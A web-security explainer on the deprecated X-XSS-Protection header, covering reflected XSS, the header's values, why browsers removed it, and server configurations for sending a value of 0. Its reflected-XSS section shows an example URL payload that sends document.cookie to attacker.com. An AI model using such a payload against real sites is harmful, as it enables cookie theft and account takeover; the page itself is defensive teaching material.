The X-XSS-Protection header was a non-standard response header that activated the reflective XSS filter built into older versions of Internet Explorer, Chrome, and Safari. It has since been deprecated and removed from all major browsers. Understanding it remains useful for legacy audits and for knowing why modern sites should rely on Content Security Policy instead.
What Is Reflected XSS?
Reflected cross-site scripting (XSS) occurs when an attacker injects a malicious script into a URL parameter or form field, and the server immediately reflects it back in the response without proper sanitisation. The victim's browser then executes the injected script.
For example, a search page that echoes the query string directly into the HTML:
https://example.com/search?q=<script>document.location='https://attacker.com/?c='+document.cookie</script>The browser receives the page with the script tag embedded in the HTML and executes it, sending the victim's cookies to the attacker.
What X-XSS-Protection Did
When the header was present and enabled, browsers with a built-in XSS Auditor would scan the request parameters and compare them against the response body. If a potential reflected XSS payload was detected, the browser would either sanitise or block the response before rendering it.
This was a browser-level heuristic defence — it did not require any changes to application code and worked automatically when the header was set.
Header Values
| Value | Behaviour |
|---|---|
0 | Disables the XSS filter entirely. |
1 | Enables the filter. If an attack is detected, the browser sanitises the page. |
1; mode=block | Enables the filter. If an attack is detected, the browser blocks rendering of the entire page. |
1; report=<URI> | Enables the filter and sends a violation report to the URI (Chromium only — now removed). |
Why X-XSS-Protection Was Deprecated
Browser vendors discovered that the XSS Auditor heuristics could themselves be abused to create new attack vectors. Researchers demonstrated techniques where the filter could be weaponised to selectively block legitimate scripts on a page, enabling information leakage attacks that would not otherwise be possible.
The timeline of removal:
- Firefox never implemented the header.
- Chrome removed the XSS Auditor in Chrome 78 (October 2019).
- Edge removed it when switching to the Chromium engine.
- Safari removed its XSS Auditor in Safari 15.4 (2022).
- Internet Explorer is end-of-life and its XSS filter is no longer a relevant target.
X-XSS-Protection: 1 or 1; mode=block on modern sites provides no protection (the filters no longer exist) and can cause unexpected behaviour in any remaining legacy IE11 environments. The recommended value for modern sites is X-XSS-Protection: 0 to explicitly disable the defunct filter.What to Send Today
The current best practice is to explicitly disable the header:
X-XSS-Protection: 0Setting it to 0 signals to any remaining legacy IE11 instances to not run the potentially exploitable filter. For all modern browsers, the header is simply ignored.
Content-Security-Policy header. A strict CSP that limits script-src to trusted origins and disallows inline scripts prevents both reflected and stored XSS far more reliably than any browser heuristic filter ever could.Server Configuration
Nginx
add_header X-XSS-Protection "0" always;Apache
Header always set X-XSS-Protection "0"IIS (web.config)
<system.webServer>
<httpProtocol>
<customHeaders>
<add name="X-XSS-Protection" value="0" />
</customHeaders>
</httpProtocol>
</system.webServer>Caddy
header X-XSS-Protection "0"Next.js
// next.config.mjs
const nextConfig = {
async headers() {
return [
{
source: '/(.*)',
headers: [
{ key: 'X-XSS-Protection', value: '0' },
],
},
];
},
};
export default nextConfig;Frequently Asked Questions
Should I remove X-XSS-Protection from my headers entirely?
Either removing it or explicitly setting it to 0 is acceptable. Explicitly sending 0 is slightly preferable because it documents intent and ensures any lingering IE11 instances do not run the legacy filter.
Does security scanning tools flag a missing X-XSS-Protection header?
Some older scanners and grading tools still flag its absence or award points for setting it to 1; mode=block. These tools have not been updated to reflect the current guidance. The correct action is to send 0 and focus your XSS defence budget on Content Security Policy.
Is XSS still a real threat?
Yes. XSS remains one of the most prevalent web vulnerabilities. The deprecation of the browser XSS filter does not reduce the risk — it simply means the defence must happen in the application (input sanitisation, output encoding) and via CSP headers rather than being delegated to a browser heuristic.